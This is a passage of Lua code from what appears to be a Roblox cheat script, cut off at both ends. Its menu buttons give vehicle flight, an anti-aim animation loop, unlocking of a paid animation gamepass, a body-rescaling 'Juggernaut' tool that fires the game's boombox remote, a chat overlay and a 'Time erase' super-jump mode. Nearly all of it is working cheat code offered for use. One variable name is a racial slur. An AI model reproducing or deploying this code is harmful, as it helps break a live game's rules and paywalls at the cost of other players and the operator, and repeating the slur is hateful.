if Plr.PlayerGui:FindFirstChild("MainScreenGui") and Plr.PlayerGui.MainScreenGui:FindFirstChild("Bar") and Plr.PlayerGui.MainScreenGui.Bar:FindFirstChild("Speed") then
Plr.PlayerGui.MainScreenGui.Bar.Speed.bar.Size = UDim2.new(speed / 100 * 0.95, 0, 0.83, 0)
else
local c = Plr.PlayerGui.MainScreenGui.Bar.HP
local g = c:Clone()
g.Name = "Speed"
g.Position = UDim2.new(0.5, 0, 1, -120)
g.bar.BackgroundColor3 = Color3.fromRGB(255, 155, 0)
g.Picture.Image.Image = "rbxassetid://181035717"
g.TextLabel.Text = "Speed"
g.Parent = c.Parent
end
if seat ~= nil and seat:IsDescendantOf(game.Workspace.Vehicles) then
if seat ~= old then
if old then
old.Vel:Destroy()
old.Gyro:Destroy()
end
old = seat
for i = 1, 2 do
if wheels[i] then
wheels[i][2].Parent = wheels[i][1]
end
local wheel = seat.Parent.Wheel
wheels[i] = {seat.Parent, wheel}
wheel:remove()
end
local gyro = Instance.new("BodyGyro", seat)
gyro.Name = "Gyro"
local pos = Instance.new("BodyVelocity", seat)
pos.Name = "Vel"
gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9)
pos.MaxForce = Vector3.new(9e9, 9e9, 9e9)
else
seat.Gyro.cframe = workspace.CurrentCamera.CoordinateFrame
local vel = CFrame.new(0, 0, 0)
if control.w then
vel = vel * CFrame.new(0, 0, -speed)
end
if control.s then
vel = vel * CFrame.new(0, 0, speed)
end
if control.a then
vel = vel * CFrame.new(-speed, 0, 0)
end
if control.d then
vel = vel * CFrame.new(speed, 0, 0)
end
seat.Vel.Velocity = (seat.CFrame*vel).p - seat.CFrame.p
end
end
if control.e and speed<100 then
speed = speed + 1
end
if control.q and speed > 0 then
speed = speed - 1
end
end
end)
local niggers = FunstuffPage.AddButton("Chat Logs", function()
local LP = game.Players.LocalPlayer
LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Visible = true
LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y)
end)
local anti = FunstuffPage.AddButton("Anti-Aim", function()
local UniversalAnimation = Instance.new("Animation")
function stopTracks()
for _, v in next, game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):GetPlayingAnimationTracks() do
if (v.Animation.AnimationId:match("rbxassetid")) then
v:Stop()
end
end
end
function loadAnimation(id)
if UniversalAnimation.AnimationId == id then
stopTracks()
UniversalAnimation.AnimationId = "1"
else
UniversalAnimation.AnimationId = id
local animationTrack = game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):LoadAnimation(UniversalAnimation)
animationTrack:Play()
end
end
while wait() do
stopTracks()
loadAnimation("rbxassetid://3152378852")
end
end)
local SecondButton = FunstuffPage.AddButton("Animation Gamepass", function()
local Folder = Instance.new('Folder', game:GetService("Workspace"))
local AnimationPack = game:GetService("Players").LocalPlayer.PlayerGui.MainScreenGui.AnimationPack
local ScrollingFrame = AnimationPack.ScrollingFrame
local CloseButton = AnimationPack.CloseButton
AnimationPack.Visible = true
local LeanAnimation = Instance.new("Animation", Folder)
LeanAnimation.Name = "LeanAnimation"
LeanAnimation.AnimationId = "rbxassetid://3152375249"
local Lean = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(LeanAnimation)
local LayAnimation = Instance.new("Animation", Folder)
LayAnimation.Name = "LayAnimation"
LayAnimation.AnimationId = "rbxassetid://3152378852"
local Lay = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(LayAnimation)
local Dance1Animation = Instance.new("Animation", Folder)
Dance1Animation.Name = "Dance1Animation"
Dance1Animation.AnimationId = "rbxassetid://3189773368"
local Dance1 = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(Dance1Animation)
local Dance2Animation = Instance.new("Animation", Folder)
Dance2Animation.Name = "Dance2Animation"
Dance2Animation.AnimationId = "rbxassetid://3189776546"
local Dance2 = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(Dance2Animation)
local GreetAnimation = Instance.new("Animation", Folder)
GreetAnimation.Name = "GreetAnimation"
GreetAnimation.AnimationId = "rbxassetid://3189777795"
local Greet = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(GreetAnimation)
local PrayingAnimation = Instance.new("Animation", Folder)
PrayingAnimation.Name = "PrayingAnimation"
PrayingAnimation.AnimationId = "rbxassetid://3487719500"
local Praying = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(PrayingAnimation)
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Lean" then
v.Name = "LeanButton"
end
end
end
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Lay" then
v.Name = "LayButton"
end
end
end
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Dance1" then
v.Name = "Dance1Button"
end
end
end
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Dance2" then
v.Name = "Dance2Button"
end
end
end
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Greet" then
v.Name = "GreetButton"
end
end
end
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Praying" then
v.Name = "PrayingButton"
end
end
end
function Stop()
Lay:Stop()
Lean:Stop()
Dance1:Stop()
Dance2:Stop()
Greet:Stop()
Praying:Stop()
end
local LeanTextButton = ScrollingFrame.LeanButton
local LayTextButton = ScrollingFrame.LayButton
local Dance1TextButton = ScrollingFrame.Dance1Button
local Dance2TextButton = ScrollingFrame.Dance2Button
local GreetTextButton = ScrollingFrame.GreetButton
local PrayingTextButton = ScrollingFrame.PrayingButton
AnimationPack.MouseButton1Click:Connect(function()
if ScrollingFrame.Visible == false then
ScrollingFrame.Visible = true
CloseButton.Visible = true
end
end)
CloseButton.MouseButton1Click:Connect(function()
if ScrollingFrame.Visible == true then
ScrollingFrame.Visible = false
CloseButton.Visible = false
end
end)
LeanTextButton.MouseButton1Click:Connect(function()
Stop()
Lean:Play()
end)
LayTextButton.MouseButton1Click:Connect(function()
Stop()
Lay:Play()
end)
Dance1TextButton.MouseButton1Click:Connect(function()
Stop()
Dance1:Play()
end)
Dance2TextButton.MouseButton1Click:Connect(function()
Stop()
Dance2:Play()
end)
GreetTextButton.MouseButton1Click:Connect(function()
Stop()
Greet:Play()
end)
PrayingTextButton.MouseButton1Click:Connect(function()
Stop()
Praying:Play()
end)
game:GetService("Players").LocalPlayer.Character.Humanoid.Running:Connect(function()
Stop()
end)
game:GetService("Players").LocalPlayer.Character.Humanoid.Died:Connect(function()
Stop()
repeat
wait()
until game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 100
wait(1)
local AnimationPack = game:GetService("Players").LocalPlayer.PlayerGui.MainScreenGui.AnimationPack
local ScrollingFrame = AnimationPack.ScrollingFrame
local CloseButton = AnimationPack.CloseButton
AnimationPack.Visible = true
local LeanAnimation = Instance.new("Animation", Folder)
LeanAnimation.Name = "LeanAnimation"
LeanAnimation.AnimationId = "rbxassetid://3152375249"
local Lean = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(LeanAnimation)
local LayAnimation = Instance.new("Animation", Folder)
LayAnimation.Name = "LayAnimation"
LayAnimation.AnimationId = "rbxassetid://3152378852"
local Lay = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(LayAnimation)
local Dance1Animation = Instance.new("Animation", Folder)
Dance1Animation.Name = "Dance1Animation"
Dance1Animation.AnimationId = "rbxassetid://3189773368"
local Dance1 = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(Dance1Animation)
local Dance2Animation = Instance.new("Animation", Folder)
Dance2Animation.Name = "Dance2Animation"
Dance2Animation.AnimationId = "rbxassetid://3189776546"
local Dance2 = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(Dance2Animation)
local GreetAnimation = Instance.new("Animation", Folder)
GreetAnimation.Name = "GreetAnimation"
GreetAnimation.AnimationId = "rbxassetid://3189777795"
local Greet = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(GreetAnimation)
local PrayingAnimation = Instance.new("Animation", Folder)
PrayingAnimation.Name = "PrayingAnimation"
PrayingAnimation.AnimationId = "rbxassetid://3487719500"
local Praying = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(PrayingAnimation)
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Lean" then
v.Name = "LeanButton"
end
end
end
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Lay" then
v.Name = "LayButton"
end
end
end
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Dance1" then
v.Name = "Dance1Button"
end
end
end
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Dance2" then
v.Name = "Dance2Button"
end
end
end
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Greet" then
v.Name = "GreetButton"
end
end
end
for i,v in pairs(ScrollingFrame:GetChildren()) do
if v.Name == "TextButton" then
if v.Text == "Praying" then
v.Name = "PrayingButton"
end
end
end
function Stop()
Lay:Stop()
Lean:Stop()
Dance1:Stop()
Dance2:Stop()
Greet:Stop()
Praying:Stop()
end
local LeanTextButton = ScrollingFrame.LeanButton
local LayTextButton = ScrollingFrame.LayButton
local Dance1TextButton = ScrollingFrame.Dance1Button
local Dance2TextButton = ScrollingFrame.Dance2Button
local GreetTextButton = ScrollingFrame.GreetButton
local PrayingTextButton = ScrollingFrame.PrayingButton
AnimationPack.MouseButton1Click:Connect(function()
if ScrollingFrame.Visible == false then
ScrollingFrame.Visible = true
CloseButton.Visible = true
end
end)
CloseButton.MouseButton1Click:Connect(function()
if ScrollingFrame.Visible == true then
ScrollingFrame.Visible = false
CloseButton.Visible = false
end
end)
LeanTextButton.MouseButton1Click:Connect(function()
Stop()
Lean:Play()
end)
LayTextButton.MouseButton1Click:Connect(function()
Stop()
Lay:Play()
end)
Dance1TextButton.MouseButton1Click:Connect(function()
Stop()
Dance1:Play()
end)
Dance2TextButton.MouseButton1Click:Connect(function()
Stop()
Dance2:Play()
end)
GreetTextButton.MouseButton1Click:Connect(function()
Stop()
Greet:Play()
end)
PrayingTextButton.MouseButton1Click:Connect(function()
Stop()
Praying:Play()
end)
end)
end)
local SecondButton = FunstuffPage.AddButton("Juggernaut", function()
local LocalPlayer = game:GetService("Players").LocalPlayer
local Mouse = LocalPlayer:GetMouse()
local OriginalKeyUpValue = 0
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://2788838708"
function StopAudio()
LocalPlayer.Character.LowerTorso.BOOMBOXSOUND:Stop()
end
function stop(ID, Key)
local cor = coroutine.wrap(function()
wait(LocalPlayer.Character.LowerTorso.BOOMBOXSOUND.TimeLength-0.1)
if LocalPlayer.Character.LowerTorso.BOOMBOXSOUND.SoundId == "rbxassetid://"..ID and OriginalKeyUpValue == Key then
StopAudio()
end
end)
cor()
end
function play(ID, STOP, LMAO)
if LocalPlayer.Backpack:FindFirstChild("[Boombox]") then
local Tool = nil
if LocalPlayer.Character:FindFirstChildOfClass("Tool") and LMAO == true then
Tool = LocalPlayer.Character:FindFirstChildOfClass("Tool")
LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent = LocalPlayer.Backpack
end
LocalPlayer.Backpack["[Boombox]"].Parent =
LocalPlayer.Character
game.ReplicatedStorage.MainEvent:FireServer("Boombox", ID)
LocalPlayer.Character["[Boombox]"].RequiresHandle = false
if LocalPlayer.Character["[Boombox]"]:FindFirstChild("Handle") then
LocalPlayer.Character["[Boombox]"].Handle:Destroy()
end
LocalPlayer.Character["[Boombox]"].Parent =
LocalPlayer.Backpack
LocalPlayer.PlayerGui.MainScreenGui.BoomboxFrame.Visible = false
if Tool ~= true then
if Tool then
Tool.Parent = LocalPlayer.Character
end
end
if STOP == true then
LocalPlayer.Character.LowerTorso:WaitForChild("BOOMBOXSOUND")
local cor = coroutine.wrap(function()
repeat wait() until LocalPlayer.Character.LowerTorso.BOOMBOXSOUND.SoundId == "rbxassetid://"..ID and LocalPlayer.Character.LowerTorso.BOOMBOXSOUND.TimeLength > 0.01
OriginalKeyUpValue = OriginalKeyUpValue+1
stop(ID, OriginalKeyUpValue)
end)
cor()
end
end
end
function Tool()
local Tool = Instance.new("Tool")
Tool.Name = "Juggernaut"
Tool.RequiresHandle = false
Tool.Activated:Connect(function()
local Character = LocalPlayer.Character
local Humanoid = Character:FindFirstChildOfClass("Humanoid")
function rm()
for i,v in pairs(Character:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("MeshPart") then
if v.Name ~= "Head" then
for i,cav in pairs(v:GetDescendants()) do
if cav:IsA("Attachment") then
if cav:FindFirstChild("OriginalPosition") then
cav.OriginalPosition:Destroy()
end
end
end
for i,v in pairs(v:GetChildren()) do
if v.Name == "OriginalSize" then
v:Destroy()
end
end
if v:FindFirstChild("AvatarPartScaleType") then
v:FindFirstChild("AvatarPartScaleType"):Destroy()
end
end
end
end
end
Humanoid:LoadAnimation(Anim):Play()
play(862491729, true, true)
wait(0.4)
rm()
Humanoid:FindFirstChild("BodyTypeScale"):Destroy()
wait(0.2)
rm()
Humanoid:FindFirstChild("BodyWidthScale"):Destroy()
wait(0.02)
rm()
Humanoid:FindFirstChild("BodyDepthScale"):Destroy()
wait(0.02)
rm()
Humanoid:FindFirstChild("BodyTypeScale"):Destroy()
wait(0.02)
end)
Tool.Parent = LocalPlayer.Backpack
end
Tool()
end)
local SecondButton = FunstuffPage.AddButton("Hearing", function()
function Hearing()
function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
Tool0 = Instance.new("Tool")
LocalScript1 = Instance.new("LocalScript")
BillboardGui2 = Instance.new("BillboardGui")
ImageLabel3 = Instance.new("ImageLabel")
ScreenGui4 = Instance.new("ScreenGui")
TextLabel5 = Instance.new("TextLabel")
ScreenGui6 = Instance.new("ScreenGui")
ImageLabel7 = Instance.new("ImageLabel")
Tool0.Name = "Hearing"
Tool0.Parent = mas
Tool0.CanBeDropped = false
Tool0.RequiresHandle = false
LocalScript1.Parent = Tool0
table.insert(cors,sandbox(LocalScript1,function()
wait();
local l__LocalPlayer__1 = game.Players.LocalPlayer;
while true do
wait();
if l__LocalPlayer__1.Character then
break;
end;
end;
local l__Character__2 = l__LocalPlayer__1.Character;
local u1 = false;
local l__PlayerGui__2 = game.CoreGui;
function ChatFunc(p1)
local v3 = p1.Chatted:connect(function(p2)
if u1 then
local v4 = BrickColor.Random();
local v5 = script.MsgGui:Clone();
if string.find(string.lower(p2), "super") then
v5.Msg.TextSize = 29;
end;
v5.Msg.Text = p1.Name .. ": " .. p2;
v5.Msg.TextColor3 = v4.Color;
v5.Msg.Position = UDim2.new(0.5, math.random(-350, 350), 0.5, math.random(-210, 250));
v5.Parent = l__PlayerGui__2;
local v6 = script.DotGui:Clone();
v6.Dot.ImageColor3 = v4.Color;
v6.Enabled = true;
if p1.Character then
if p1.Character:findFirstChild("Head") then
v6.Parent = p1.Character.Head;
end;
end;
spawn(function()
local v7 = 1 - 1;
while true do
v6.Size = v6.Size - UDim2.new(0, 1, 0, 1);
game:GetService("RunService").RenderStepped:wait();
if 0 <= 1 then
if v7 < 70 then
else
break;
end;
elseif 70 < v7 then
else
break;
end;
v7 = v7 + 1;
end;
end);
game.Debris:AddItem(v5, 3);
game.Debris:AddItem(v6, 6);
end;
end);
end;
for v8, v9 in pairs(game.Players:GetChildren()) do
ChatFunc(v9);
end;
game.Players.PlayerAdded:connect(function(p3)
ChatFunc(p3);
end);
local u3 = false;
local u4 = nil;
script.Parent.Equipped:connect(function(p4)
p4.Button1Down:connect(function()
if u3 then
return;
end;
u3 = true;
if not u1 then
u4 = script.Frame:Clone();
u4.Parent = l__PlayerGui__2;
u1 = true;
else
u4:Destroy();
u1 = false;
end;
wait(1);
u3 = false;
end);
end);
end))
BillboardGui2.Name = "DotGui"
BillboardGui2.Parent = LocalScript1
BillboardGui2.Enabled = false
BillboardGui2.Size = UDim2.new(0, 90, 0, 90)
BillboardGui2.Active = true
BillboardGui2.ClipsDescendants = true
BillboardGui2.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
BillboardGui2.AlwaysOnTop = true
ImageLabel3.Name = "Dot"
ImageLabel3.Parent = BillboardGui2
ImageLabel3.Size = UDim2.new(1, 0, 1, 0)
ImageLabel3.BackgroundColor = BrickColor.new("Institutional white")
ImageLabel3.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel3.BackgroundTransparency = 1
ImageLabel3.Image = "rbxassetid://130424513"
ImageLabel3.ImageColor3 = Color3.new(1, 0, 0)
ScreenGui4.Name = "MsgGui"
ScreenGui4.Parent = LocalScript1
ScreenGui4.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
TextLabel5.Name = "Msg"
TextLabel5.Parent = ScreenGui4
TextLabel5.Position = UDim2.new(0, 300, 0, 25)
TextLabel5.Size = UDim2.new(0, 1, 0, 1)
TextLabel5.BackgroundColor = BrickColor.new("Institutional white")
TextLabel5.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel5.BackgroundTransparency = 1
TextLabel5.Font = Enum.Font.SourceSansBold
TextLabel5.FontSize = Enum.FontSize.Size28
TextLabel5.Text = ""
TextLabel5.TextColor = BrickColor.new("Really black")
TextLabel5.TextColor3 = Color3.new(0, 0, 0)
TextLabel5.TextSize = 25
TextLabel5.TextStrokeTransparency = 0.60000002384186
ScreenGui6.Name = "Frame"
ScreenGui6.Parent = LocalScript1
ScreenGui6.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
ImageLabel7.Name = "Image"
ImageLabel7.Parent = ScreenGui6
ImageLabel7.Size = UDim2.new(1, 0, 1, 0)
ImageLabel7.BackgroundColor = BrickColor.new("Institutional white")
ImageLabel7.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel7.BackgroundTransparency = 1
ImageLabel7.Image = "rbxassetid://36869195"
ImageLabel7.ImageColor3 = Color3.new(0.290196, 1, 0.917647)
ImageLabel7.ImageTransparency = 0.80000001192093
for i,v in pairs(mas:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Backpack
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
end
game.Players.LocalPlayer.Character:WaitForChild("FULLY_LOADED_CHAR")
Hearing()
end)
local SecondButton = FunstuffPage.AddButton("Heart", function()
game.Players.LocalPlayer.PlayerGui.MainScreenGui.Bar.HP.Picture.Life.Visible = true
game.Players.LocalPlayer.PlayerGui:WaitForChild("MainScreenGui"):WaitForChild("Bar"):WaitForChild("HP"):WaitForChild("Picture"):WaitForChild("Life").Visible = true
end)
local SecondButton = FunstuffPage.AddButton("Super Jump (H to toggle, 'Time erase!' to time erase)", function()
local MyStand = "DxskTilIDawn"
local SuperJumpEnabled = false
getgenv().Toggled = false
local UIS = game:GetService("UserInputService")
UIS.InputBegan:connect(function(input,gameProcessed)
if input.UserInputType == Enum.UserInputType.Keyboard then
if input.KeyCode == Enum.KeyCode.H then
if UIS:GetFocusedTextBox() == nil then
if getgenv().Toggled == false then
getgenv().Toggled = true
else
getgenv().Toggled = true
end;end;end;end;end)
local LocalPlayer = game:GetService("Players").LocalPlayer
local Cookies = LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.ClientAnimations.Roll)
local OriginalKeyUpValue = 0
local Anim = Instance.new("Animation" )
Anim.AnimationId = "rbxassetid://2788290270"
local Hover = Instance.new("Animation", game.Workspace)
Hover.Name = "Hover"
Hover.AnimationId = "rbxassetid://698251653"
local LeftPunch = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations)LeftPunch.Name = "LeftPunch"
LeftPunch.AnimationId = "rbxassetid://2788308661"
local LeftAnim = LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.ClientAnimations.LeftPunch)
local CoreUI = Instance.new("ScreenGui")
local Humanoid = game.Players.LocalPlayer.Character.Humanoid
CoreUI.Parent = game.CoreGui
local SaveLocation = nil
local RigWalk = nil
local RigIdle = nil
local InTimeErase = false
local Pointing = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations)
Pointing.AnimationId = "rbxassetid://507770453"
local UNMASKKK = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations)
UNMASKKK.Name = "Unmask"
UNMASKKK.AnimationId = "rbxassetid://3380629232"
local MASKKK = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations)
MASKKK.Name = "Mask"
MASKKK.AnimationId = "rbxassetid://3380627692"
local Poter = LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(Pointing)
Poter.Looped = true
Poter.Priority = Enum.AnimationPriority.Action
local WalkAnimation = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations)
WalkAnimation.AnimationId = "rbxassetid://2510198475"
local Idle = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations)
Idle.AnimationId = "rbxassetid://507766388"
local OldChar = LocalPlayer.Character
local MaskAnim = LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.ClientAnimations.Mask)
local UnmaskAnim = LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.ClientAnimations.Unmask)
function FoV()
local fov = coroutine.wrap(function()
local Camera = workspace.Camera
for i = 1, 20 do
game.TweenService:Create(Camera, TweenInfo.new(0.5), {FieldOfView = 8*i}):Play()
wait(0.01)
end
for i = 1, 20 do
game.TweenService:Create(Camera, TweenInfo.new(0.5), {FieldOfView = 160-i*4.5}):Play()
wait(0.01)
end
end)
fov()
end
local WalkSpeed = false
local function rm()
for i, v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if v.Name == "OriginalPosition" then
v:Destroy()
elseif v.Name == "OriginalSize" then
v:Destroy()
elseif v.Name == "AvatarPartScaleType" then
v:Destroy()
end
end
end
function Lighting()
if game.Lighting:FindFirstChild("ERASE") == nil then
local sound5 = Instance.new("Sound", CoreUI)
sound5.Volume = 0.1
sound5.Name = "ERASE"
sound5.Looped = true
sound5.SoundId = "rbxassetid://3167092959"
sound5:Play()
game.Lighting.Sky.Parent = workspace
game:GetObjects("rbxassetid://6546113226")[1].Parent=game.Lighting
else
workspace.Sky.Parent = game.Lighting
CoreUI:FindFirstChild("ERASE"):Destroy()
game.Lighting:FindFirstChild("ERASE"):Destroy()
end
end
function TimeEraseUI()
local sound5 = Instance.new("Sound", CoreUI)
sound5.Volume = 0.1
sound5.SoundId = "rbxassetid://6546128175"
sound5:Play()
local Image = Instance.new("ImageLabel", CoreUI)
Image.Image = "http://www.roblox.com/asset/?id=6546043746"
Image.BackgroundTransparency = 1
Image.AnchorPoint = Vector2.new(0.5, 0.5)
Image.Size = UDim2.fromScale(1, 1)
Image.Position = UDim2.fromScale(-0.5, 0.5)
delay(0, function()
for i = 0, 1, 0.1 do
Image.Position = UDim2.fromScale(-Image.Position.X.Scale+i, 0.5)
Image.ImageTransparency = Image.ImageTransparency+i
wait(.01)
end
Image:Destroy()
sound5:Destroy()
end)
end
function ModelCharacter()
if workspace:FindFirstChild(LocalPlayer.Name.."StringKOD") == nil then
local MODEL = Instance.new("Model", workspace)
MODEL.Name = LocalPlayer.Name.."StringKOD"
OldChar.Humanoid:UnequipTools()
for i, v in pairs(OldChar:GetChildren()) do
if (v:IsA("BasePart") or v:IsA("MeshPart")) and v.Parent:FindFirstChildOfClass("Humanoid") and v.Name ~= "HumanoidRootPart" then
local Part = v:Clone()
Part.Parent = MODEL
Part.Name = v.Name
Part.Material = Enum.Material.ForceField
Part.CFrame = v.CFrame
Part.Transparency = 0.5
Part.BrickColor = BrickColor.Red()
Part.CanCollide = false
Part.Anchored = true
for i, v in pairs(Part:GetChildren()) do
if v.ClassName ~= "SpecialMesh" then
v:Destroy()
end
end
end
end
local NewCharacter = game:GetObjects("rbxassetid://6547055500")[1]
NewCharacter.Parent = MODEL
NewCharacter.Name = "Idaro"
workspace.Camera.CameraSubject = NewCharacter.Humanoid
SaveLocation = OldChar.HumanoidRootPart.CFrame
InTimeErase = true
NewCharacter.HumanoidRootPart.CFrame = SaveLocation
RigIdle = NewCharacter:WaitForChild("Humanoid"):LoadAnimation(Idle)
RigIdle.Looped = true
RigIdle.Priority = Enum.AnimationPriority.Action
RigWalk = NewCharacter:WaitForChild("Humanoid"):LoadAnimation(WalkAnimation)
RigWalk.Looped = true
RigWalk.Priority = Enum.AnimationPriority.Action
WalkSpeed = true
RigIdle:Play()
else
InTimeErase = false
WalkSpeed = false
workspace.Camera.CameraSubject = OldChar.Humanoid
OldChar.HumanoidRootPart.CFrame = workspace:FindFirstChild(LocalPlayer.Name.."StringKOD").Idaro.HumanoidRootPart.CFrame
workspace:FindFirstChild(LocalPlayer.Name.."StringKOD"):Destroy()
end
end
function Slide()
local XD = OldChar.Humanoid:LoadAnimation(Anim)
XD:Play()
XD.TimePosition = 0.15
XD.Looped = false
XD:AdjustSpeed(1.1)
end
function AddVelocity(Vel, Char)
Char.HumanoidRootPart.Velocity = Char.HumanoidRootPart.Velocity+Vel
end
local IsJump = false
function Jumping()
if IsJump == false then
return false
else
return true
end
end
local Mouse = LocalPlayer:GetMouse()
local MoveDirection = Vector3.new(0,0,0)
local WSpped = 0
local LeftSpeed = 0
local UpSpeed = 0
function IdleRigXD()
if RigIdle and RigWalk.IsPlaying and WSpped == 0 and LeftSpeed == 0 and UpSpeed == 0 then
RigIdle:Play()
RigWalk:Stop()
end
end
function WalkRigXD()
if RigWalk and RigIdle.IsPlaying then
RigIdle:Stop()
RigWalk:Play()
end
end
Mouse.KeyDown:Connect(function(KeyDownXD)
if workspace:FindFirstChild(LocalPlayer.Name.."StringKOD") then
if KeyDownXD == "w" then
WSpped = -1
WalkRigXD()
elseif KeyDownXD == "a" then
LeftSpeed = -1
WalkRigXD()
elseif KeyDownXD == "d" then
LeftSpeed = 1
WalkRigXD()
elseif KeyDownXD == "s" then
WSpped = 1
WalkRigXD()
end
end
end)
Mouse.KeyUp:Connect(function(KeyDownXD)
if KeyDownXD == "w" then
WSpped = 0
IdleRigXD()
elseif KeyDownXD == "a" then
LeftSpeed = 0
IdleRigXD()
elseif KeyDownXD == "d" then
LeftSpeed = -0
IdleRigXD()
elseif KeyDownXD == "s" then
WSpped = 0
IdleRigXD()
end
end)
local CD = false
local uis = game:GetService("UserInputService")
uis.InputBegan:Connect(function(i, XD)
if i.KeyCode == Enum.KeyCode.H and XD == false then
if SuperJumpEnabled == false then
SuperJumpEnabled = true
elseif SuperJumpEnabled == true then
SuperJumpEnabled = false
end
end
end)
uis.InputBegan:Connect(function(i, XD)
if i.KeyCode == Enum.KeyCode.Space and XD == false then
if workspace:FindFirstChild(LocalPlayer.Name.."StringKOD") == nil then
if Jumping() == true and not Poter.IsPlaying then
AddVelocity(OldChar.HumanoidRootPart.CFrame.LookVector*150, OldChar)
IsJump = false
Cookies:Stop()
CD = true
Slide()
repeat wait() until workspace:FindPartOnRayWithWhitelist(Ray.new(OldChar.HumanoidRootPart.Position, Vector3.new(0, -4 * OldChar.HumanoidRootPart.Size.y, 0)), { workspace.MAP })
CD = false
end
else
workspace:FindFirstChild(LocalPlayer.Name.."StringKOD"):FindFirstChild("Idaro").Humanoid:ChangeState(3)
end
end
end)
function StopAudio()
OldChar.LowerTorso.BOOMBOXSOUND:Stop()
end
function stop(ID, Key)
local cor = coroutine.wrap(function()
wait(OldChar.LowerTorso.BOOMBOXSOUND.TimeLength-0)
if OldChar.LowerTorso.BOOMBOXSOUND.SoundId == "rbxassetid://"..ID and OriginalKeyUpValue == Key then
StopAudio()
end
end)
cor()
end
function play(ID, STOP, LMAO)
if LocalPlayer.Backpack:FindFirstChild("[Boombox]") then
local Tool = nil
if OldChar:FindFirstChildOfClass("Tool") and LMAO == true then
Tool = OldChar:FindFirstChildOfClass("Tool")
OldChar:FindFirstChildOfClass("Tool").Parent = LocalPlayer.Backpack
end
LocalPlayer.Backpack["[Boombox]"].Parent =
OldChar
game.ReplicatedStorage.MainEvent:FireServer("Boombox", ID)
OldChar["[Boombox]"].RequiresHandle = false
if OldChar["[Boombox]"]:FindFirstChild("Handle") then
OldChar["[Boombox]"].Handle:Destroy()
end
OldChar["[Boombox]"].Parent =
LocalPlayer.Backpack
LocalPlayer.PlayerGui.MainScreenGui.BoomboxFrame.Visible = false
if Tool ~= true then
if Tool then
Tool.Parent = OldChar
end
end
if STOP == true then
OldChar.LowerTorso:WaitForChild("BOOMBOXSOUND")
local cor = coroutine.wrap(function()
repeat wait() until OldChar.LowerTorso.BOOMBOXSOUND.SoundId == "rbxassetid://"..ID and OldChar.LowerTorso.BOOMBOXSOUND.TimeLength > 0
OriginalKeyUpValue = OriginalKeyUpValue+1
stop(ID, OriginalKeyUpValue)
end)
cor()
end
end
end
local bro = false
local TimeErase, CanCel = "Time erase!", "Time erase!"
local TimeStop, TimeResume = "Time stop!", "Time stop!"
local XD = false
LocalPlayer.Chatted:Connect(function(MSG)
if MSG == "Rage!" then
if Humanoid:FindFirstChild("HeadScale") then
rm()
wait(0.6)
